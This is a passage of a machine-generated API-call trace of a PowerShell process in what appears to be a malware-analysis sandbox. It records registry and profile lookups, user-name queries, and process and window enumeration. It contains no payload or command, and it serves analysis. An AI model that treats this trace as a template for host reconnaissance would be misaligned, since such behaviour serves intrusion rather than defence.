lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0066.509] GetLastError () returned 0xcb [0066.509] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ede4c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0066.509] GetLastError () returned 0xcb [0066.509] VirtualQuery (in: lpAddress=0x2ed3c0, lpBuffer=0x2ee3c0, dwLength=0x1c | out: lpBuffer=0x2ee3c0*(BaseAddress=0x2ed000, AllocationBase=0x2b0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0066.509] VirtualQuery (in: lpAddress=0x2ed074, lpBuffer=0x2ee074, dwLength=0x1c | out: lpBuffer=0x2ee074*(BaseAddress=0x2ed000, AllocationBase=0x2b0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0066.509] VirtualQuery (in: lpAddress=0x2ed074, lpBuffer=0x2ee074, dwLength=0x1c | out: lpBuffer=0x2ee074*(BaseAddress=0x2ed000, AllocationBase=0x2b0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0066.510] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x2eeafc | out: phkResult=0x2eeafc*=0x398) returned 0x0 [0066.511] RegQueryValueExW (in: hKey=0x398, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x2eeb44, lpData=0x0, lpcbData=0x2eeb40*=0x0 | out: lpType=0x2eeb44*=0x1, lpData=0x0, lpcbData=0x2eeb40*=0x56) returned 0x0 [0066.511] RegQueryValueExW (in: hKey=0x398, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x2eeb44, lpData=0x413238, lpcbData=0x2eeb40*=0x56 | out: lpType=0x2eeb44*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x2eeb40*=0x56) returned 0x0 [0066.511] RegCloseKey (hKey=0x398) returned 0x0 [0066.511] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x2eeafc | out: phkResult=0x2eeafc*=0x398) returned 0x0 [0066.511] RegQueryValueExW (in: hKey=0x398, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x2eeb44, lpData=0x0, lpcbData=0x2eeb40*=0x0 | out: lpType=0x2eeb44*=0x1, lpData=0x0, lpcbData=0x2eeb40*=0x56) returned 0x0 [0066.511] RegQueryValueExW (in: hKey=0x398, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x2eeb44, lpData=0x413238, lpcbData=0x2eeb40*=0x56 | out: lpType=0x2eeb44*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x2eeb40*=0x56) returned 0x0 [0066.511] RegCloseKey (hKey=0x398) returned 0x0 [0066.513] SHGetFolderPathW (in: hwnd=0x0, csidl=5, hToken=0x0, dwFlags=0x0, pszPath=0x413238 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned 0x0 [0066.513] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", nBufferLength=0x105, lpBuffer=0x2ee694, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", lpFilePart=0x0) returned 0x27 [0066.513] GetLastError () returned 0x3f0 [0066.513] SHGetFolderPathW (in: hwnd=0x0, csidl=5, hToken=0x0, dwFlags=0x0, pszPath=0x413238 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned 0x0 [0066.513] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", nBufferLength=0x105, lpBuffer=0x2ee694, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", lpFilePart=0x0) returned 0x27 [0066.513] GetLastError () returned 0x3f0 [0066.521] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\profile.ps1", nBufferLength=0x105, lpBuffer=0x2ee72c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\profile.ps1", lpFilePart=0x0) returned 0x36 [0066.521] GetLastError () returned 0x3f0 [0066.521] SetErrorMode (uMode=0x1) returned 0x1 [0066.521] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\profile.ps1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\profile.ps1"), fInfoLevelId=0x0, lpFileInformation=0x2eebac | out: lpFileInformation=0x2eebac*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0066.521] GetLastError () returned 0x2 [0066.521] SetErrorMode (uMode=0x1) returned 0x1 [0066.521] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Microsoft.PowerShell_profile.ps1", nBufferLength=0x105, lpBuffer=0x2ee72c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Microsoft.PowerShell_profile.ps1", lpFilePart=0x0) returned 0x4b [0066.521] GetLastError () returned 0x2 [0066.521] SetErrorMode (uMode=0x1) returned 0x1 [0066.521] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Microsoft.PowerShell_profile.ps1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\microsoft.powershell_profile.ps1"), fInfoLevelId=0x0, lpFileInformation=0x2eebac | out: lpFileInformation=0x2eebac*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0066.521] GetLastError () returned 0x2 [0066.521] SetErrorMode (uMode=0x1) returned 0x1 [0066.521] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\WindowsPowerShell\\profile.ps1", nBufferLength=0x105, lpBuffer=0x2ee72c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\WindowsPowerShell\\profile.ps1", lpFilePart=0x0) returned 0x45 [0066.521] GetLastError () returned 0x2 [0066.521] SetErrorMode (uMode=0x1) returned 0x1 [0066.521] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\WindowsPowerShell\\profile.ps1" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\windowspowershell\\profile.ps1"), fInfoLevelId=0x0, lpFileInformation=0x2eebac | out: lpFileInformation=0x2eebac*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0066.521] GetLastError () returned 0x3 [0066.522] SetErrorMode (uMode=0x1) returned 0x1 [0066.522] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\WindowsPowerShell\\Microsoft.PowerShell_profile.ps1", nBufferLength=0x105, lpBuffer=0x2ee72c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\WindowsPowerShell\\Microsoft.PowerShell_profile.ps1", lpFilePart=0x0) returned 0x5a [0066.522] GetLastError () returned 0x3 [0066.522] SetErrorMode (uMode=0x1) returned 0x1 [0066.522] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\WindowsPowerShell\\Microsoft.PowerShell_profile.ps1" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\windowspowershell\\microsoft.powershell_profile.ps1"), fInfoLevelId=0x0, lpFileInformation=0x2eebac | out: lpFileInformation=0x2eebac*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0066.522] GetLastError () returned 0x3 [0066.522] SetErrorMode (uMode=0x1) returned 0x1 [0066.523] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x413238, nSize=0x80 | out: lpBuffer="") returned 0x0 [0066.523] GetLastError () returned 0xcb [0066.525] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x413238, nSize=0x80 | out: lpBuffer="") returned 0x0 [0066.525] GetLastError () returned 0xcb [0066.527] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x413238, nSize=0x80 | out: lpBuffer="") returned 0x0 [0066.527] GetLastError () returned 0xcb [0066.528] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x413238, nSize=0x80 | out: lpBuffer="") returned 0x0 [0066.528] GetLastError () returned 0xcb [0066.529] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x413238, nSize=0x80 | out: lpBuffer="") returned 0x0 [0066.529] GetLastError () returned 0xcb [0066.537] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x413238, nSize=0x80 | out: lpBuffer="") returned 0x0 [0066.537] GetLastError () returned 0xcb [0066.538] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x398 [0066.538] GetLastError () returned 0x0 [0066.538] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x39c [0066.538] GetLastError () returned 0x0 [0066.538] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x3a0 [0066.538] GetLastError () returned 0x0 [0066.538] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x3a4 [0066.538] GetLastError () returned 0x0 [0066.538] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x3a8 [0066.538] GetLastError () returned 0x0 [0066.538] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x3ac [0066.538] GetLastError () returned 0x0 [0066.538] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x3cc [0066.538] GetLastError () returned 0x0 [0066.538] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x390 [0066.538] GetLastError () returned 0x0 [0066.538] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x3b4 [0066.539] GetLastError () returned 0x0 [0066.539] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x3b8 [0066.539] GetLastError () returned 0x0 [0066.539] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x31c [0066.539] GetLastError () returned 0x0 [0066.539] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x320 [0066.539] GetLastError () returned 0x0 [0066.540] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x413238, nSize=0x80 | out: lpBuffer="") returned 0x0 [0066.540] GetLastError () returned 0xcb [0066.550] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0066.550] GetLastError () returned 0xcb [0066.551] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x2eebec | out: lpMode=0x2eebec) returned 1 [0066.551] GetLastError () returned 0xcb [0066.553] SetEvent (hEvent=0x3a4) returned 1 [0066.553] GetLastError () returned 0xcb [0066.553] SetEvent (hEvent=0x398) returned 1 [0066.553] GetLastError () returned 0xcb [0066.553] SetEvent (hEvent=0x39c) returned 1 [0066.553] GetLastError () returned 0xcb [0066.553] SetEvent (hEvent=0x3a0) returned 1 [0066.553] GetLastError () returned 0xcb [0066.554] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x3bc [0066.554] GetLastError () returned 0x0 [0066.555] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x413238, nSize=0x80 | out: lpBuffer="") returned 0x0 [0066.555] GetLastError () returned 0xcb [0066.555] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds", ulOptions=0x0, samDesired=0x20019, phkResult=0x2eea50 | out: phkResult=0x2eea50*=0x340) returned 0x0 [0066.555] RegQueryValueExW (in: hKey=0x340, lpValueName="PipelineMaxStackSizeMB", lpReserved=0x0, lpType=0x2eea98, lpData=0x0, lpcbData=0x2eea94*=0x0 | out: lpType=0x2eea98*=0x0, lpData=0x0, lpcbData=0x2eea94*=0x0) returned 0x2 [0067.110] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x368 [0067.110] GetLastError () returned 0x0 [0067.110] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x364 [0067.110] GetLastError () returned 0x0 [0067.110] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x3c0 [0067.110] GetLastError () returned 0x0 [0067.110] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x370 [0067.110] GetLastError () returned 0x0 [0067.110] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x374 [0067.110] GetLastError () returned 0x0 [0067.110] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x378 [0067.110] GetLastError () returned 0x0 [0067.110] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x37c [0067.110] GetLastError () returned 0x0 [0067.110] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x380 [0067.110] GetLastError () returned 0x0 [0067.110] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x384 [0067.110] GetLastError () returned 0x0 [0067.111] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x388 [0067.111] GetLastError () returned 0x0 [0067.111] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x38c [0067.111] GetLastError () returned 0x0 [0067.111] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x3c4 [0067.111] GetLastError () returned 0x0 [0067.111] SetEvent (hEvent=0x370) returned 1 [0067.111] GetLastError () returned 0x0 [0067.111] SetEvent (hEvent=0x368) returned 1 [0067.111] GetLastError () returned 0x0 [0067.111] SetEvent (hEvent=0x364) returned 1 [0067.111] GetLastError () returned 0x0 [0067.111] SetEvent (hEvent=0x3c0) returned 1 [0067.111] GetLastError () returned 0x0 [0067.111] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x3b0 [0067.111] GetLastError () returned 0x0 [0067.112] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds", ulOptions=0x0, samDesired=0x20019, phkResult=0x2eea84 | out: phkResult=0x2eea84*=0x3d8) returned 0x0 [0067.112] RegQueryValueExW (in: hKey=0x3d8, lpValueName="PipelineMaxStackSizeMB", lpReserved=0x0, lpType=0x2eeacc, lpData=0x0, lpcbData=0x2eeac8*=0x0 | out: lpType=0x2eeacc*=0x0, lpData=0x0, lpcbData=0x2eeac8*=0x0) returned 0x2 [0067.146] SetEvent (hEvent=0x374) returned 1 [0067.146] GetLastError () returned 0x0 [0067.147] SetEvent (hEvent=0x378) returned 1 [0067.147] GetLastError () returned 0x0 [0067.147] SetEvent (hEvent=0x37c) returned 1 [0067.147] GetLastError () returned 0x0 [0067.158] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x413238, nSize=0x80 | out: lpBuffer="") returned 0x0 [0067.158] GetLastError () returned 0xcb [0067.161] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x4139f8, nSize=0x2eeb60 | out: lpNameBuffer="XDUWTFONO\\5p5NrGJn0jS HALPmcxz", nSize=0x2eeb60) returned 0x1 [0067.161] GetLastError () returned 0xcb [0067.161] GetUserNameW (in: lpBuffer=0x413238, pcbBuffer=0x2eeb68 | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x2eeb68) returned 1 [0067.162] ReportEventW (hEventLog=0x4f20004, wType=0x4, wCategory=0x4, dwEventID=0x193, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x2d41e6c*="Stopped", lpRawData=0x2d41d28) Thread: id = 59 os_tid = 0x7a8 Thread: id = 60 os_tid = 0x804 Thread: id = 61 os_tid = 0x808 Thread: id = 68 os_tid = 0x824 Thread: id = 69 os_tid = 0x828 [0053.831] CoGetContextToken (in: pToken=0x4bcf3d8 | out: pToken=0x4bcf3d8) returned 0x0 [0053.831] CObjectContext::QueryInterface () returned 0x0 [0053.831] CObjectContext::GetCurrentThreadType () returned 0x0 [0053.831] Release () returned 0x0 [0053.831] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0064.230] LocalFree (hMem=0x3e4820) returned 0x0 [0064.230] GetLastError () returned 0x0 [0064.231] CloseHandle (hObject=0x340) returned 1 [0064.231] GetLastError () returned 0x0 [0064.231] CloseHandle (hObject=0x13) returned 1 [0064.231] GetLastError () returned 0x0 [0064.232] CloseHandle (hObject=0xf) returned 1 [0064.232] GetLastError () returned 0x0 [0064.232] RegCloseKey (hKey=0x324) returned 0x0 [0064.232] RegCloseKey (hKey=0x320) returned 0x0 [0064.232] RegCloseKey (hKey=0x31c) returned 0x0 [0064.232] LocalFree (hMem=0x3e4870) returned 0x0 [0064.232] GetLastError () returned 0x0 [0064.232] RegCloseKey (hKey=0x34c) returned 0x0 [0065.600] RegCloseKey (hKey=0x3c4) returned 0x0 [0065.601] RegCloseKey (hKey=0x38c) returned 0x0 [0065.601] RegCloseKey (hKey=0x388) returned 0x0 [0065.601] RegCloseKey (hKey=0x384) returned 0x0 [0065.601] RegCloseKey (hKey=0x380) returned 0x0 [0065.601] RegCloseKey (hKey=0x37c) returned 0x0 [0065.602] RegCloseKey (hKey=0x378) returned 0x0 [0065.602] RegCloseKey (hKey=0x374) returned 0x0 [0065.602] RegCloseKey (hKey=0x370) returned 0x0 [0065.602] RegCloseKey (hKey=0x3c0) returned 0x0 [0065.602] RegCloseKey (hKey=0x368) returned 0x0 [0065.603] RegCloseKey (hKey=0x364) returned 0x0 [0065.603] RegCloseKey (hKey=0x360) returned 0x0 [0065.603] RegCloseKey (hKey=0x35c) returned 0x0 [0065.603] RegCloseKey (hKey=0x358) returned 0x0 [0065.603] RegCloseKey (hKey=0x354) returned 0x0 [0065.604] RegCloseKey (hKey=0x350) returned 0x0 [0065.604] RegCloseKey (hKey=0x340) returned 0x0 [0065.604] RegCloseKey (hKey=0x3bc) returned 0x0 [0065.604] RegCloseKey (hKey=0x320) returned 0x0 [0065.604] RegCloseKey (hKey=0x31c) returned 0x0 [0065.604] RegCloseKey (hKey=0x3b8) returned 0x0 [0065.605] RegCloseKey (hKey=0x3b4) returned 0x0 [0065.605] RegCloseKey (hKey=0x390) returned 0x0 [0065.605] RegCloseKey (hKey=0x3cc) returned 0x0 [0065.605] RegCloseKey (hKey=0x3ac) returned 0x0 [0065.605] RegCloseKey (hKey=0x3a8) returned 0x0 [0065.606] RegCloseKey (hKey=0x3a4) returned 0x0 [0065.606] RegCloseKey (hKey=0x3a0) returned 0x0 [0065.606] RegCloseKey (hKey=0x39c) returned 0x0 [0065.606] RegCloseKey (hKey=0x398) returned 0x0 [0065.606] RegCloseKey (hKey=0x394) returned 0x0 [0065.607] RegCloseKey (hKey=0x324) returned 0x0 [0065.607] RegCloseKey (hKey=0x3c8) returned 0x0 [0065.607] RegCloseKey (hKey=0x34c) returned 0x0 [0066.802] RegCloseKey (hKey=0x340) returned 0x0 Thread: id = 80 os_tid = 0x9f8 [0066.568] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0066.593] SetThreadUILanguage (LangId=0x0) returned 0x409 [0066.598] VirtualQuery (in: lpAddress=0x5efe300, lpBuffer=0x5eff300, dwLength=0x1c | out: lpBuffer=0x5eff300*(BaseAddress=0x5efe000, AllocationBase=0x5570000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0066.653] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x49d748, nSize=0x80 | out: lpBuffer="") returned 0x0 [0066.653] GetLastError () returned 0xcb [0066.656] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x49d748, nSize=0x80 | out: lpBuffer="") returned 0x0 [0066.656] GetLastError () returned 0xcb [0066.658] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x49d748, nSize=0x80 | out: lpBuffer="") returned 0x0 [0066.658] GetLastError () returned 0xcb [0066.669] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x49d748, nSize=0x80 | out: lpBuffer="") returned 0x0 [0066.669] GetLastError () returned 0xcb [0066.680] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x49d748, nSize=0x80 | out: lpBuffer="") returned 0x0 [0066.680] GetLastError () returned 0xcb [0066.689] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x49d748, nSize=0x80 | out: lpBuffer="") returned 0x0 [0066.689] GetLastError () returned 0xcb [0066.697] VirtualQuery (in: lpAddress=0x5efe41c, lpBuffer=0x5eff41c, dwLength=0x1c | out: lpBuffer=0x5eff41c*(BaseAddress=0x5efe000, AllocationBase=0x5570000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0066.697] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x49d748, nSize=0x80 | out: lpBuffer="") returned 0x0 [0066.697] GetLastError () returned 0xcb [0066.699] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x49d748, nSize=0x80 | out: lpBuffer="") returned 0x0 [0066.699] GetLastError () returned 0xcb [0066.699] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x49d748, nSize=0x80 | out: lpBuffer="") returned 0x0 [0066.699] GetLastError () returned 0xcb [0066.709] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x49d748, nSize=0x80 | out: lpBuffer="") returned 0x0 [0066.709] GetLastError () returned 0xcb [0066.728] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x49d748, nSize=0x80 | out: lpBuffer="") returned 0x0 [0066.728] GetLastError () returned 0xcb [0066.803] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x49d748, nSize=0x80 | out: lpBuffer="") returned 0x0 [0066.803] GetLastError () returned 0xcb [0066.805] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x49d748, nSize=0x80 | out: lpBuffer="") returned 0x0 [0066.805] GetLastError () returned 0xcb [0066.806] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x49d748, nSize=0x80 | out: lpBuffer="") returned 0x0 [0066.806] GetLastError () returned 0xcb [0066.815] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x49d748, nSize=0x80 | out: lpBuffer="") returned 0x0 [0066.815] GetLastError () returned 0xcb [0066.817] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x49d748, nSize=0x80 | out: lpBuffer="") returned 0x0 [0066.817] GetLastError () returned 0xcb [0066.818] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x49d748, nSize=0x80 | out: lpBuffer="") returned 0x0 [0066.818] GetLastError () returned 0xcb [0066.819] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x49d748, nSize=0x80 | out: lpBuffer="") returned 0x0 [0066.819] GetLastError () returned 0xcb [0066.844] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x49d748, nSize=0x80 | out: lpBuffer="") returned 0x0 [0066.844] GetLastError () returned 0xcb [0066.920] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x49d7a0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0066.920] GetLastError () returned 0xcb [0066.922] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x49d7a0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0066.922] GetLastError () returned 0xcb [0067.027] _CIlog () returned 0x400 [0067.035] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x49d7a0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0067.035] GetLastError () returned 0xcb [0067.037] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x5efeaf4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0067.037] GetLastError () returned 0xcb [0067.037] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x5efeaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0067.037] GetLastError () returned 0xcb [0067.037] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x5efeaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0067.037] GetLastError () returned 0xcb [0067.037] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x5efeaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0067.037] GetLastError () returned 0xcb [0067.076] GetCurrentProcessId () returned 0x330 [0067.078] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3b65268, Length=0x20000, ResultLength=0x5eff010 | out: SystemInformation=0x3b65268, ResultLength=0x5eff010*=0xa650) returned 0x0 [0067.082] EnumWindows (lpEnumFunc=0x29c3902, lParam=0x0) returned 1 [0067.082] GetWindowThreadProcessId (in: hWnd=0x1007c, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x4d0 [0067.082] GetLastError () returned 0x0 [0067.082] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x4d0 [0067.082] GetLastError () returned 0x0 [0067.082] GetWindowThreadProcessId (in: hWnd=0x10066, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x4d0 [0067.083] GetLastError () returned 0x0 [0067.083] GetWindowThreadProcessId (in: hWnd=0x10090, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x4d0 [0067.083] GetLastError () returned 0x0 [0067.083] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x4d0 [0067.083] GetLastError () returned 